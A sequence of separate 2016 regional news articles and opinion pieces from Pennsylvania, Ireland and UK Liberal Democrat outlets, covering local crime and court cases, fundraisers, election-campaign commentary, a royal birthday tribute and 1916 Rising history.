After being paroled, Myers learned from the Palmer homeowner that Holland had collected his tools Feb. 4, township police Detective Jim Alercia wrote in court records. Holland had relayed he was taking the tools to Myers' mother's house due to his incarceration, and the homeowner helped load them into Holland's black and gray pickup truck, records say.

Myers claimed the tools were never dropped off.

Holland told police March 23 he did not recall doing any work in Palmer Township and denied picking up any tools belonging to Myers, records say. The homeowner the following day identified a pickup truck in a photo provided by investigators as the vehicle Holland had used to ferret off the tools, according to police.

Holland was arraigned Thursday night before District Judge Roy Manwaring II on a charge of theft and initially sent to Northampton County Prison in lieu of $25,000 bail. The judge permitted 10 percent bail if approved by county pre-trial services, and Holland was released on $2,500 cash Friday.

Holland had been sentenced April 14 to up to seven months' probation for receiving stolen property and possession of drug paraphernalia after his arrest last November for trying to tow away a stolen snowmobile in Moore Township.

Alercia, the Palmer detective, said Friday he understands the probation had yet to begin when Holland was arrested anew Thursday.

Holland, of the 1100 block of West Stateside Drive in the Danielsville section of Lehigh Township, faces a preliminary hearing tentatively scheduled April 29 before District Judge Jacqueline Taschner in Palmer Township.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com. Follow him on Twitter @KurtBresswein. Find lehighvalleylive.com on Facebook.
A new class of noteworthy Lehigh Valley residents took to the stage at the State Theatre on Thursday night to strut their stuff.

Proceeds from the second annual "Dancing with your Lehigh Valley Stars" benefit the Easton performing arts center's Freddy Awards for excellence in high school drama productions.

Taking home the Mirror Ball top prize this year were Ashley Russo, president and executive producer of ASR Media Productions and host of The Peak TV, with her professional ballroom dance partner, Joe William.

First runner-up was Scott Kalamar, associate professor of culinary arts at Northampton Community College. His dance partner, Trina Morago, along with the partners of all six contestants, are from the Utah Ballroom Dance Co.

Dancers from Utah Ballroom were in residence for a week prior to the show, teaching the local stars their 90-second routines. The judges this year were the Easton Mayor Sal Panto Jr., 99.9-WODE FM "The Hawk" mid-day personality Kara Curry and Al Kratzer, publisher of lehighvalleylive.com and The Express-Times.

Last year's inaugural winner of the competition and fundraiser was Eve Tannery, from WFMZ-TV 69.

Also competing in 2016 were Anne Episcopo, of Alvin H. Butz; Becca Lynn, of CAT Country 96; Frank Facchiano, of the Greater Lehigh Valley Chamber of Commerce; and Stephen Wilson, from Easton Hospital.

Russo is no stranger to accolades, as a two-time Emmy Award winner and five-time nominee for her work with ASR Media Productions, producer of The Peak TV lifestyle program airing locally on WFMZ and nationally on DrTV.

The 2016 Freddy Awards ceremony is scheduled May 21 at the State Theatre, to be broadcast live on WFMZ starting at 7 p.m.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com. Follow him on Twitter @KurtBresswein. Find lehighvalleylive.com on Facebook.
A Bethlehem was charged Thursday in a fatal 2014 crash in Whitehall Township, the Lehigh County District Attorney's Office announced.

Jose G. Rivera, 44, of the 500 block of Ontario Street on South Side, ran a red light about 2 a.m. Nov. 30, 2014, on Schadt Avenue at MacArthur Road, and crashed a Honda station wagon into a sedan that was headed south on MacArthur Road, authorities said.

Rivera and his passenger, 49-year-old Luis R. Navarro-Natal, also of Bethlehem, were not wearing seat belts and were both ejected, authorities said. Navarro-Natal was pronounced dead at Lehigh Valley Hospital, Salisbury Township, of multiple blunt-force injuries, Lehigh County Coroner Scott Grim said. He ruled the death an accident.

Rivera's blood-alcohol content at the time of the crash was 0.28, more than three times the 0.08 threshold for penalties for most drivers, authorities said. He is charged with homicide by vehicle, homicide by vehicle while driving under the influence of alcohol and other counts.

It took investigators time to piece together what happened and who was driving, due to the extent of injuries to occupants in both vehicles, the office of District Attorney Jim Martin said in a news release.

The driver of the sedan told police he recalled driving south on MacArthur Road but nothing else about the time of the crash, according to the release. He, too, was injured in the crash.

Rivera's injuries were so severe, police were unable to interview him until several weeks later to allow time for recovery and therapy, the release states. He finally told investigators he did not recall what had happened.

Police inspected both vehicles and determined there was no mechanical failure that could have contributed to the crash, authorities said.

Investigators also collected samples of biological tissue, analyzing them for DNA, that had been transferred to the interior of the Honda, which belonged to Rivera. A free-body motion analysis helped investigators calculate who was driving the station wagon and who was the passenger.

During the investigation, police learned Rivera and Navarro-Natal had gotten into an altercation at a party in Whitehall Township minutes before the crash, Thursday's release states. Both men had been drinking alcohol and smelled strongly of alcohol at the crash, authorities said.

Whitehall Township police closed Schadt Avenue for several hours on Dec. 11, 2014, to reconstruct the crash, with assistance from Pennsylvania State Police.

In addition to the two homicide charges, Rivera was arraigned Thursday on two counts each of drunk driving and reckless endangerment and single counts of reckless driving, failure to stop at a red signal, careless driving involving an unintentional death, involuntary manslaughter and violating Pennsylvania's law on driving at a safe speed.

District Judge Robert Halal released Rivera on $75,000 unsecured bail with a preliminary hearing tentatively scheduled April 29 before Halal.

A call for comment to a private attorney retained by Rivera went unanswered after regular business hours Thursday night.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com. Follow him on Twitter @KurtBresswein. Find lehighvalleylive.com on Facebook.
UPDATE: Ted Cruz bound for Allentown diner that serves Texas food

In 2008, with a seven-week window between the previous Democratic primary and the upcoming Pennsylvania vote, Barack Obama and Hillary Clinton didn't exactly overwhelm the Lehigh Valley with visits.

Obama spoke at Muhlenberg College and got a beer at the Bethlehem Brew Works, while Clinton spoke at Liberty High School and sent her husband, Bill, to engagements at the Hotel Bethlehem and Easton Area High School.

John McCain in the general campaign did a little grocery shopping at the Westgate Mall and made a speech with Sarah Palin at Lehigh University.

But, for the most part, the Pennsylvania hotspots for candidates have been Philadelphia, Pittsburgh and Scranton.

And this year, so far, it's everywhere but here.

"You probably have to feel a little bit left out of the show," said Chris Borick, a Muhlenberg College political science professor and director of the school's Institute of Public Opinion. "We're underappreciated."

G. Terry Madonna, a Franklin & Marshall College professor who runs the school's Center for Political and Public Affairs, said, "I'm not often speechless," but candidates not wanting to tap into a strong swing area doesn't make sense.

"Given the population, I don't know if there's a good answer" why the candidates stay away, he said.

The Lehigh Valley is the state's third-largest population center and has the state's third-largest city. It has three Democratic mayors and a Democratic congressman. And a Republican congressman in Charlie Dent, who Borick said is a strong supporter of Republican presidential candidate John Kasich. Additionally, one of the state's two U.S. senators, Pat Toomey, lives in Lehigh County.

Muhlenberg College professor Chris Borick has been wondering why president candidates seem to avid the Lehigh Valley. (Photo by Bill Keller courtesy Muhlenberg College)

Perhaps it's because the candidates in the short time before Tuesday's primary just want to touch their base and don't see the Valley as being that sweet spot, Borick said. Perhaps the area lacks sought-after "specificity," he said.

Republican candidate Ted Cruz going to Hershey to reach out to evangelicals and born-again Christians made sense, Madonna said. Hillary Clinton's strength is in the African-American community, so Philadelphia is a natural, he added.

But Bernie Sanders in Erie? Yes, it's full of Democrats, but it's surrounded by Republicans and little else, Madonna said.

Maybe it's as simple as Democrats don't want to stand next to Allentown Mayor Ed Pawlowski, who appears to be the target of a federal investigation. Or maybe Toomey doesn't want Donald Trump or Cruz to come anywhere near him as he seeks re-election in a state as likely to pick a Democrat as a Republican.

But there are other people in the Lehigh Valley for Clinton and Sanders to share a podium, Borick said. And Toomey could beg off appearing with one of the GOP Big 3 by saying he had urgent business in Washington, D.C., Borick said.

Maybe it's as simple as the Philadelphia and Scranton television markets reach into the Lehigh Valley, so candidates don't need to show up in Easton to be on the TV news there, Madonna and Borick said.

Madonna had another thought.

"Could it be that people just aren't inviting" candidates to come to town? he asked.

Easton Mayor Sal Panto Jr. said while Sanders and Clinton haven't been invited to Easton, they have been invited to the Lehigh Valley. They've just decided not to come, he added.

If not, is the Valley just too hard to target?

"There's a wide mix of people," Madonna said. "If you think, it's so diverse that there's not one big cache of voters for one party."

But the reality might be, Madonna said, "I'm not sure I have a good answer for you."

Franklin & Marshall College professor G. Terry Madonna says there might not be a good answer as to why those who want to are president don't see the Valley as an asset. (Photo courtesy Franklin & Marshall College)

It's a question Borick said he's been asking himself.

"We're usually considered a swing area in the state," Borick said. "It's in the line of places you'd want to go to in the state."

The Lehigh Valley is a place where people can be convinced to change their voting preferences, he added.

"We see them going into Scranton and places with smaller population bases," he said of the candidates.

Sanders on Thursday was to go to Scranton, Reading and Montgomery County. He certainly would have passed near the Lehigh Valley -- which has seven colleges and universities if he's looking for young fans -- on that journey.

Maybe he's doesn't need to mobilize his base here, Borick suggested -- although Sanders has a very active grassroots operation in all three cities and in some smaller towns in the Valley.

But if you really want to fire up the volunteers, Borick said, "The biggest resource you have is the candidate's time itself."

Perhaps the area just doesn't have "much pull," Borick said. "... Maybe it doesn't resonate" with the campaigns.

"In some ways it's a mystery why we're not getting more attention," Borick said. "We might be left out."

Tony Rhodin may be reached at arhodin@lehighvalleylive.com. Follow him on Twitter @TonyRhodin. Find lehighvalleylive.com on Facebook.
Ted Cruz

Republican presidential candidate Ted Cruz.

(AP Photo/Paul Sancya)

While Donald Trump leads in Republican delegates, Ted Cruz has ramped up his tactics to get delegates. See the debacle in Colorado. Some Republicans, to stop Trump, are supporting Cruz. It's like selecting the worse of two evils.

A Cruz presidency would combine elements of a Plutocracy (government by the wealthy), autocracy (one person with unlimited power) and theocracy, in which officials are divinely guided (God spoke to George W. Bush and we got the Iraq disaster). A trifecta of terror.

Trump is like a loose cannon, anti-Muslim, anti-Mexican. He loves women but degrades them. Yet he touches the nerve of those who feel the government has let them down. Of course it has. Republicans wanted Obama to fail. That was their gift to Americans. Their platform is anti-climate change, anti-labor, anti-public education, anti-women's reproductive rights, anti-LBGT, pro-NRA, pro-bloated defense costs; pro-Wall Street, etc.

Cruz is smart, but devilish and deceptive. He would have the one percent come off as "victims." The Supreme Court adds someone more extreme than Antonin Scalia. Gun controls disappear. Student loan costs escalate. Environmental protections are gutted. Health care for 40 million vanishes. Social Security is privatized.

A threat that would aid Republicans in November is the power of Republican governors and legislators who control the ballot box. States such as North Carolina, Ohio, Wisconsin and Florida have demonstrated their willingness to restrict the voting opportunities of blacks, Latinos, the elderly and students, those likely to favor Democrats, all done to prevent the myth of "voter fraud." Watch for it on Nov. 8.

Robert Givey

Bethlehem
A month after he was fatally shot in Warren County, some new details about the death of a 24-year-old Navy ensign were revealed, though much of the incident remains clouded.

New Jersey State Police were sent at 4 a.m. March 19 to a home in the Panther Valley section of Allamuchy Township for a report of a sexual assault and shooting, the Warren County Prosecutor's Office said in a news release Friday.

The victim, later identified as Gage Theard, was found on the home's second floor landing. He had been shot twice in the upper torso with a 9 mm handgun, the prosecutor said.

Authorities said Theard resided in Milton, Florida, where he was attending U.S. Navy flight school. The chapel at Naval Air Station Whiting Field on April 1 posted photos on Facebook of a memorial service for Theard.

Yesterday was a great time of healing and remembrance for our brother, ENS Gage Theard! Father God, may Your healing... Posted by Whiting Field Chapel on Friday, April 1, 2016

The sexual assault report and Theard's military status had not previously been disclosed.

But Theard's connection to the area is not clear, nor is the shooter's identity. Prosecutor Richard Burke previously said a suspect had been identified but not charged.

The U.S. Naval Criminal Investigative Service is investigating, along with state police and the prosecutor's office, according to Friday's release.

The prosecutor's office said no more information will be released until the investigations are complete. At that point, the office will review the case and determine if any charges will be sent to a grand jury.

Steve Novak may be reached at snovak@lehighvalleylive.com. Follow him on Twitter @type2supernovak. Find lehighvalleylive.com on Facebook.
A juvenile riding a dirt-bike was injured in a crash with a car Thursday afternoon in Warren County, authorities said.

It occurred shortly after 4 p.m. on eastbound Route 57 just east of Stewartsville Road in Franklin Township.

The rider was taken by Franklin Township Rescue Squad with paramedics from Hunterdon Medical Center to Lehigh Valley Hospital, Salisbury Township, according to reports from the scene.

The juvenile suffered a leg injury that was not believed to be life-threatening, said Sgt. James Butler, with New Jersey State Police at Washington.

Police were continuing to investigate the crash, and the names of those involved were not immediately available. No one in the car was injured, Butler said.

The Franklin Township Fire Department also responded.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com. Follow him on Twitter @KurtBresswein. Find lehighvalleylive.com on Facebook.
One of Laois' finest public amenities has been closed to the public in the evenings, as early as 4.30pm in winter, due to OPW staff cuts.

The gates of Emo Court and Park last week began shutting at 7pm, with a security guard on duty to deter any trespassing walkers.

It will open until 8.30pm from May to August, back to 7pm in September, 5pm in October, and 4.30pm until March 1, affecting the opening hours of the onsite restaurant, Catoca.

The decision is not due to crime, but a reduction in staff at the heritage site, the Office of Public Works confirmed to the Leinster Express.

Emo Court is of national significance, attracting 300,000 visitors annually. Recently staff numbers have been reduced, this combined with Health and Safety requirements has necessitated a restructuring of our security arrangements. There has been no recent incidents of crime or vandalism at Emo. The system of monitored security means that manned CCTV cameras survey the site remotely and are backed up by local security patrols, an OPW spokesperson said.

Minister for Foreign Affairs Charlie Flanagan who has welcomed previous investment in Emo, has contacted Minister for Public Works, Simon Harris over the change to opening hours.

I have been in contact with the OPW and Minister Harris to ensure that the best possible use of this fine estate is maintained. The James Gandon designed house is a fantastic amenity and a real gem in our county, he said.

Portarlington Cllr Aidan Mullins is concerned the cutbacks are related to the loss of OPW staff at Heywood Garddens recently.

This is one of the most popular spots for people to walk. Shortening the hours is a retrograde step, they should be encouraging people to go, not closing earlier, he said.

Irish Wildlife Trust Laois Offaly has confirmed that an exception will be made for their Bat Walk in Emo Court, at 9.15pm on May 15.

Emo Court and Park was gifted to the Irish people by Major Cholmeley-Harrison in 1994, who remained there until his death in 2008.
The people of Laois have reached out to help tackle homeless in a big way.

Laois Friends of Simon presented a cheque for 65,000 to Tess Murphy (Chairperson of Midlands Simon Community) on Monday the 11th of April in Mulhalls Restaurant Portlaoise.

Cormac Lally (Vice Chairperson of Laois Friends of Simon) and (Founding Director of Midlands Simon Community) commended the staff and volunteers of Midlands Simon Community and noted that without the support and direction of the local authority and the HSE, services in the county would never have been developed.

Michael Martin (Chairperson of Laois Friends of Simon) stated that in raising this 65,000 it meant working with other community groups and he would like to thank these groups, such as the Vintage Club, Active Over 50`s Groups, Ratheniska Foroige, Rotary Clubs etc. Mr Martin also paid tribute to the tireless generosity of Seamus and Ursula Mulhall.

Tess Murphy (Chairperson of Midlands Simon Community) sincerely thanked the volunteers for such trojan work.

In an emotional address she pointed out that many people have a home tonight because of Midlands Simon Community and the kindness of groups like the Laois Friends of Simon.

John Mullholland (CEO of Laois County Council) said that he was delighted to receive an invite to the event and commended the fantastic work being carried out by Midlands Simon Community in Laois.

All the funds raised will go directly towards the homeless services provided by the Simon Community in Laois.

The organisation delivers the following services in Co Laois:

Regional Support Service for homelessness that works with 22 cases at any one time

Housing First/Complex Needs Service working with 5 cases

Community Liaison Nursing Service

Emergency Accommodation Service based in Tullamore but open to referrals from Laois via the Laois County Council
The Mountmellick couple behind Laois' Darkness into Light walk on May 7, hope to open a Pieta House suicide counselling centre in Laois.

The uplifting 5km dawn walk on Saturday, May 7, is one of over 100 across the world this year for Pieta House, with the Laois event organised by John and Susan Nelson.

Since 2012 they has raised over 45,000 for Pieta House, which gives free professional counselling to those experiencing thoughts of suicide, or self harming.

Last year 1,400 walkers took part in Laois, raising 28,000 for Pieta House's nine centres across Ireland, but Susan feels the distance is a difficulty for Laois people seeking support.

People from Laois still have to travel to Roscrea or Dublin, thats an added stress, so I am going to try look for a Pieta House for Laois, she said.

With several recent tragic suicides in Laois, the walk is as much to support the bereaved, as it is to raise funds.

It is always a very emotional event, for those grieving and those affected by suicide. We will have a memory table where people can place photos of their loved ones, a memory tree for messages, and our Banner of Hope to sign, Susan said.

Over 300 people have already registered online to take part in Laois, a sign that it could be the biggest yet.

Participants can also register and collect a t-shirt at a stand in SuperValu, Mountmellick on April 27 and 28, and May 4 and 5, between 3pm to 8pm.

People are asked to arrive early to Mountmellick GAA grounds in Acragar, where the walk begins and ends.

We will take late registrations on the night, but that will close at 3.30am, as we want to have time for the Zumba warm-up and the speeches, with the walk starting at 4.15am sharp this year, said Susan.

Parking is limited at the GAA grounds, but the cemetery, the primary schools and SuperValu are all offering parking this year.

The walk is well supported by local businesses and by residents who place lit candles along the circular route through the town.

Susan thanked businesses, the Civil Defence, volunteers, Mountmellick GAA, SuperValu and all who have again offered support.

Mountmellick Community School is fantastic every year, they make posters and cards for the memory tree, and made our hope sign last year, with a new sign this year, she said.

She welcomes any offers of refreshments this year.

The walks begin at 4.15am in darkness and cross the finish as dawn breaks, to symbolise the journey out of the darkness of depression.

See www.darknessintolight.ie. or www.pieta.ie.
David Steel has written an article for the Scotsman explaining why liberalism is needed more than ever in the face of both domestic and international challenges. He praises both Tim Farron and Willie Rennie and urges liberals to re-assert themselves and support them.

His comments about the SNP also struck a bit of a chord with me. Its not just that they stitched up the Scottish Parliament with their majority, giving themselves control of the committees so that they couldnt be effectively scrutinised, its their general attitude to politics. They are reminiscent of Labour in the 80s and 90s, with such a sense of entitlement to power and objection to even the mildest, most evidence based criticism. Yesterday, we had three shouty nationalists in the space of a couple of hours in our office. Clearly such intimidatory tactics are designed to spook us. Actually, we enjoy the fact that they are clearly rattled by the scale and success of our campaign. It is very like the days in Derbyshire when Labour thugs would shout at you as you delivered leaflets and its sad to see that kind of politics.

Anyway, back to Davids article. He wrote:

Having now been in political life for over 50 years, I cannot think of a time when Liberalism was more needed. That is true internationally, in the UK, and in Scotland. Having just returned from my latest visit to South Africa, it is depressing to see how the hopes and standards of the two first democratic Presidents Nelson Mandela and Thabo Mbeki have been betrayed under the current President Jacob Zuma; the only bright light being the steady progress of the Democratic Alliance which I expect to see continue in their upcoming local elections. It has been my good fortune and pleasure to attend no fewer than seven party conventions in the USA and thereby to admire much in their democracy; but it is horrifying to see how a man with nothing except a large mouth and deep pockets can be taken seriously as a contender for their highest office. Here in the UK we see a yawning gap between a party supporting the wealthy at the expense of the poor, and a party led by a doctrinaire socialist. We also see so far a relatively low-level debate on the European Union question, ignoring the high ideals of its founders. We also have the failure to respond to the refugee crisis in the Middle East. In Scotland we have the likely spectacle of a parliament unable to call to account the one party in government enjoying a dangerous quasi-monopoly. Against that background the case for a strong Liberal force has never been more needed. Fortunately in Tim Farron as UK leader and Willie Rennie as Scottish leader Liberal Democrats have found two energetic young people who have emerged from the wreckage of the last general election. Tim, together with the two MP former leaders Charles Kennedy and Ming Campbell, voted against the disastrous volte face on student fees, and Willie has clearly distanced the Scottish Party from that coalition debacle. Now is the time for Liberals to re-assert themselves and to support them. When I say that Liberalism was never more needed I have in mind Alan Patons definition: by Liberalism I do not mean the creed of any party, nor any century. I mean a generosity of spirit, a tolerance of others, a commitment to the rule of law, a high ideal of the worth and dignity of man, a repugnance of authoritarianism, and a love of freedom.

* Caron Lindsay is Editor of Liberal Democrat Voice and blogs at Caron's Musings
I am far from being an ardent royalist. The idea that someone should just inherit the position of head of state is very strange to me. However, that doesnt stop me acknowledging that the current incumbent has been doing a fantastic job since way before I was born. Ive always admired her dignity, dedication and the experience that comes from dealing with Prime Ministers as diverse as Alec Douglas-Home, Tony Blair and Winston Churchill and having an unrivalled perspective of almost six and a half decades of world events.

Today, MPs paid tribute to her service as they wished her a happy birthday. Here is Tim Farrons contribution in which he tells us how she gave him a good tip to deal with a common problem:

I thank you, Mr Speaker, for calling me to speak, especially as I managed to make it into the Chamber only when the Prime Minister was concluding his remarksmy apologies to him. On this occasion I am convinced that, not having heard one of his remarks, I would have agreed with them all.

It is a massive honour to give praise and to acknowledge the service of Her Majesty on her 90th birthday. Unlike many people in this place, I have spoken to Her Majesty on only a limited number of occasions. It was on one occasion really, as a very new Member of Parliament. She was asking me how I was getting on as a new MP and how I was coping with the correspondence. I did confide that, on occasions, people would come up to me in the street and say thank you, or acknowledge a letter that I had written to them, and I would sometimes just go blank. I am sure that colleagues share that sensation and think, Right, what are they talking about? I cant quite remember the detail. Her Majesty said, Yes, that happens to me all the time. I always say that it is the least I could do. Perhaps we should all cling on to that as a good get-out-of-jail card.

Her Majesty has had occasion to visit formally my part of the worldWestmorlandon two occasions in her reign. The first was in 1956, which was 14 years before I was born. It was the year of the Suez crisis; the year of the Clean Air Act; and the year that the United Kingdom turned on its first nuclear power station. The second occasion was three years ago, when I was privileged to meet her in Kendal as the Member of Parliament for Westmorland and Lonsdale. In the 57 years between those two visits, and indeed since she assumed the throne, so much has changed for all of us. Much, much more has changed for Britain and the world in which we live. The Elizabethan age will be reviewed by history as a vast, transformational and tumultuous era, during which our Queen has provided immeasurable constancy, which will be looked back on as the thread that runs through all of it, and that has made change possible without the uncertainty and instability that could have come about otherwise.

In Her Majestys time, Governments have indeed come and gone. She has seen them lead Britain into the European Common Market, and then seen her people vote to remainthat was when I was five years of age. She has seen Britain lead the world by becoming the first G7 country to commit 0.7% of GDP to international development aid. She has seen Britain become a world leader in renewable energy and make great strides in tackling climate change. She has seen technological advances race ahead from when a telegram or a radio programme was a thing of great excitement to the prevalence of satellite television, the iPhone, letters being supplanted by email and playground conversations by tweets and Facebook status updates.

Through all those years of change and upheaval, Her Majestys selfless service to Britain has remained a constant. She is admired at home and around the world for her constant and consistent advocacy of Britain at its best. I am bound to sayothers have reflected on thisthat she embodies the value of a constitutional monarchy. She is a neutral person who is above politics and who is the foundation of our constitution. She is someone to whom all of us, whatever our political views, can look, and with whom we can share an allegiance. That is an immeasurably valuable thing.

Even as we contemplate the monumental things that have occurred during Her Majestys reign, it is worth remembering that birthdays are very personal occasions. They are opportunities to celebrate the lives we lead and give thanks with friends and families. Hers has been an extraordinary life and she is an extraordinary example to all of us in public life of the meaning of public service. As we and others pay tribute to her example, I hope that she, who has so many friends, children, grandchildren and great-grandchildren and a loving husband, experiences the same joy and pleasure that we all do when we get together to celebrate with those whom we love. On this wonderful and historic day, on behalf of my party and my constituents in Westmorland and Lonsdale, I pay tribute to Her Majesty, to her dedication, to a lifetime of public service and to her faith, and wish her a very happy birthday and many more to come. I thank God for her service. Long live the Queen.
ONE hundred years ago, the Dalys of Barrington Street in Limerick city were one of the most politically and socially active families during Irelands fight for independence.

John Daly, born 1845, became the first member of the familys political dynasty to come to prominence, during his role in the 1867 Fenian Rising, and was later imprisoned in Pentonville for 12 years for his role in the Irish dynamite campaign, while he lived in Birmingham.

John Daly spent these 12 years with one of the 1916 Rising signatory Tom Clarke, who married Johns niece, Kathleen Daly, born in 1878. Kathleen, in later years, became one of Irelands most notable female politicians, as a TD and senator. She was Dublins first woman Lord Mayor in 1939.

At the time of the rebellion in Dublin, it was 25-year-old Edward Ned Daly  Johns nephew  who had the complex task of taking over the Four Courts as commander of the 1st Battalion.

In May and June 1916, Clarke and Ned were executed, and John died from a lengthy illness. This, according to Neds grandniece, Helen Litton, forced the family to retreat into private life. She feels her granduncle has since become one of the forgotten leaders.

It is believed that the Dalys nationalist links go back as far as the 1798 Rebellion. John, a stalwart of the Irish Volunteers, became the first nationalist mayor of Limerick in 1889, and held the seat until 1901.

Ms Litton, who has written extensively on her family, said that the Fenian was a hugely popular and important figure in Limerick; funding the Limerick battalion of the Irish Volunteers and publications, and built a centre in the back of Barrington Street, which was used as a drill hall for Cumann na mBan and the Volunteers.

Everybody who needed advice came to him, she added. And this was to be the case when tensions were brewing before Easter 1916.

Between 1914 and 1916, signatories Roger Casement and Patrick Pearse frequently sought counsel from Daly, at Cruises Hotel, on George Street (now OConnell Street). As the Limerick Leader covered the minutes of the Volunteers meetings, the two frequently sent each other clippings.

In 1914, Casement had arranged a meeting between Daly and a renowned German journalist, who was a correspondent for the Daily Mail and Vossische Zeitung (defunct), to capture the Limerick Volunteer movement.

Helen Litton recently spoke at the launch of the Daly exhibit and the Old Limerick Journal launch at the City Library. She said that John did not consider Ned to be part of the rising elite in Limericks nationalist movement, as he was coddled and spoilt by his mother and eight sisters. His father, also Edward, died four months before he was born, in 1891.

Despite the lack of faith, young Ned proved to be one of the most strategic and regimental of the 1916 rebels. On May 28, 1956, the Limerick Leader ran a first-person account of soldier, Charles Bevan, who surrendered alongside Daly, at the Four Courts.

On April 29, 1916, when Pearse surrendered, Daly told his men: Men, I am proud of you. You made a wonderful fight. And when his men wanted to continue, he replied: That is what I would like to do, but as a soldier, I must obey. Hand over your arms.

Moments before his execution at Richmond Barracks, Daly shook every volunteers hand, and gave them his final salute. People of Limerick, Mr Bevan wrote, you claim Ned Daly as one of your bravest sons. That is your right, but you must be content to share him with the survivors of his Battalion. You have this beautiful memorial to remind you of him. We need no memorial for he is enshrined in our hearts.

This open letter was written a week after the 1916 memorial was erected on Sarsfield Bridge. In 1966, President Eamon de Valera visited Limerick to honour both John and Ned Daly.

Neds sister Madge wrote an account of her experience with her brother, moments before his death. Amongst his final words were: Tell uncle John I did my best.

Madge, born in 1877, was the most active Daly in Limerick, and was seen as the businesswoman of the family. She later took over John Dalys bakery on William Street, invested in property and assisted those in need after 1916. The sisters continued to be prominent members of Cumann na mBan until the early 1920s.

She made quite a lot of money. She did a lot of good. She helped people who couldnt get work after the Rising because their employers wouldnt take them back, Ms Litton said.

The Daly family now reside in Limerick, Dublin, Australia, New Caledonia and all over the world, and are said well-versed in their familys fascinating history.

- This article appeared as part of a series of supplements produced by the Limerick Leader in the run up to the centenary of the 1916 Rising
A THREE-month-old baby boy has been placed in the care of the State after gardai removed the infant from his parents amid concerns for his safety and wellbeing.

Tusla was granted an interim care order this Wednesday  less than a week after an emergency care order was granted.

Limerick District Court was told the child, who was born in January, was taken to University Hospital Limerick (UHL) last Wednesday night after gardai from four different garda stations attended a hostile disturbance in a village in County Limerick.

Sgt Gearoid Thompson told the court gardai initially responded to reports of two people driving under the influence with a child in the rear seat.

He said a number of arguments had erupted between family members and that a large number of people had gathered at the scene when he and several colleagues arrived.

It was a very fractious and high tensioned environment, he said adding that gardai had to maintain a presence in the housing estate for several hours.

Sgt Thompson told the court that having spoken to the infants parents, he believed they were extremely intoxicated.

He said they were argumentative and unreasonable and were behaving in an irrational manner.

He added there was a smell of alcohol, their eyes were glazed and that there was a smell of cannabis from both persons.

The court was told that given what had unfolded gardai became concerned for the safety of the child and that efforts to ensure he was cared for by his maternal granmother on the night proved unsuccessful.

Sgt Thompson said he subsequently invoked Section 12 of the Childcare Act and removed the baby from his mother and brought him to UHL.

The babys mother, who has two other children, was detained at a garda station in County Limerick where she slept for the night before being released shortly after 7am the following day.

The childs father has a number of criminal convictions and is currently before the courts for serious matters.

Senior social worker Una Kissane told the court she became only aware of the situation after she picked up a voicemail which had been left on her mobile phone by Sgt Thompson in the early hours of last Thursday morning.

A recording of the message was played to the court during the proceedings.

Ms Kissane said she believes the childs mother is a chronic alcoholic and she told the court that TUSLA first became involved last November when she presented at a pre-natal examination with serious levels of alcohol in her system.

While the Child and Family Agency has been working with the family since the baby was born, she said various care plans have not worked out and that the agency is of the view there is an immediate and serious risk to the infants safety.

Ms Kissane said Tusla had made two separate applications for an interim care order over the past three weeks on foot of a number of anonymous complaints relating to the drinking of the childs parents.

However, the applications were refused as the presiding judge was of the view the evidence presented in court was not sufficient. It was also alleged by the mother of the infant that the calls were malicious and that the allegations were untrue.

In her evidence, the babys mother insisted she was not drunk on the night and she told the court her baby is thriving and well cared for.

She accepted she has a drink problem and had slipped last Wednesday night when she drank two glasses of wine.

I dont accept I was highly intoxicated, she said adding that the last time she drank prior to last week was in November.

Solicitor Muiris Gavin, representing Tusla, rejected her assertion and put it to the woman that she has chronic difficulties with alcohol and is not capable of caring for her son until she addresses her addiction problems.

The infants maternal grandmother told the court she was willing to care for her grandson if her daughter enters rehab.

She is an excellent mother. Drink gets in the way, she told the court.

She said her daughter does not drink when around her but she said she did not know how much alcohol she had consumed on the night the infant was removed by gardai.

Granting an Emergency Care Order, Judge Marian OLeary said having heard the evidence, she was satisfied, as a fact that there was an immediate and serious risk to the safety of the infant.

At a court sitting this Wednesday, Mr Gavin said Tusla was applying for an interim care order ahead of the expiration of the emergency care order.

He said the agency still has concerns for the wellbeing of the three-month old boy, if he is returned to his mothers care.

Ms Kissane reiterated her concerns and said she believes the child requires foster care as there is significant fear for his care and wellbeing.

The childs mother told the court she has taken steps to seek treatment to address her alcohol addiction and she categorically denied a suggestion from the babys father that she was drinking at the weekend just hours after her son was taken into care.

The order granted this Wednesday remains in place until May 18, next.
A VIOLENT feud involving members of the extended Harty family has escalated in recent weeks  sparking garda concerns there could be further blood-shed.

While there have been a number of serious incidents in and around Askeaton since late last year, two gardai required medical attention following the most recent altercation at the Rathkeale House Hotel last week.

Up to 30 men and women were involved in a mass brawl during which one man was struck with a broken bottle and another man was kicked unconscious while lying on the ground.

Cousins Edward Harty, aged 23, of 41 Lisheen Park, Patrickswell; Larry OConnor, aged 27, of Holycross Place, Charleville; Jimmy Harty, aged 20, of 32 Lisheen Park, Patrickswell and Michael Harty, aged 20, of Ballingrane, Askeaton were arrested and appeared before Limerick District Court the following day charged with engaging in violent disorder.

Opposing bail applications, made by Edward Harty and Larry OConnor, Garda Tom Flavin said the incident happened following the launch of a CD to create awareness of suicide within the travelling community.

More than 100 members of the extended Harty family from across Limerick and North Cork attended the event which was organised by the HSE and West Limerick Resources.

Garda Flavin said it will be alleged a fight broke out on the dance floor at around 10.40pm.

After the two men were ejected from the hotel by security staff a massive brawl and riot then erupted outside.

Garda Flavin, who is attached to Croom garda station, said the brawl was witnessed by a large number of gardai who had maintained a discreet presence throughout the launch.

The violence was unbelievable, he said, informing the court that up to 20 gardai including members of the armed regional support unit were deployed.

One of the gardai sustained a fractured finger while another sustained bruising after he was kicked in the back.

Garda Flavin told the court that the feud has escalated in recent weeks and has now extended beyond Askeaton.

It started in Askeaton  now members of the Harty family from Charleville and Patrickswell are involved, he said, adding that gardai are concerned there is a high likelihood of further incidents happening.

He said gardai believe many of those involved in last weeks incident were intoxicated due to drink and drugs.

Despite the garda objections, the two defendants were granted bail subject to strict conditions including that they do have any contact with potential witnesses in the case or other members of Harty family.

They must sign on daily at their local garda stations, obey a nightly cufew and remain sober when in public. Mr OConnor was also ordered to stay out of Limerick except when attending court.

Michael Harty was granted bail yesterday - subject to the lodging of a substantial independent surety. Gardai did not oppose bail in the case of Jimmy Harty.

Investigations are continuing and it is expected a file will be prepared for the Director of Public Prosecution.

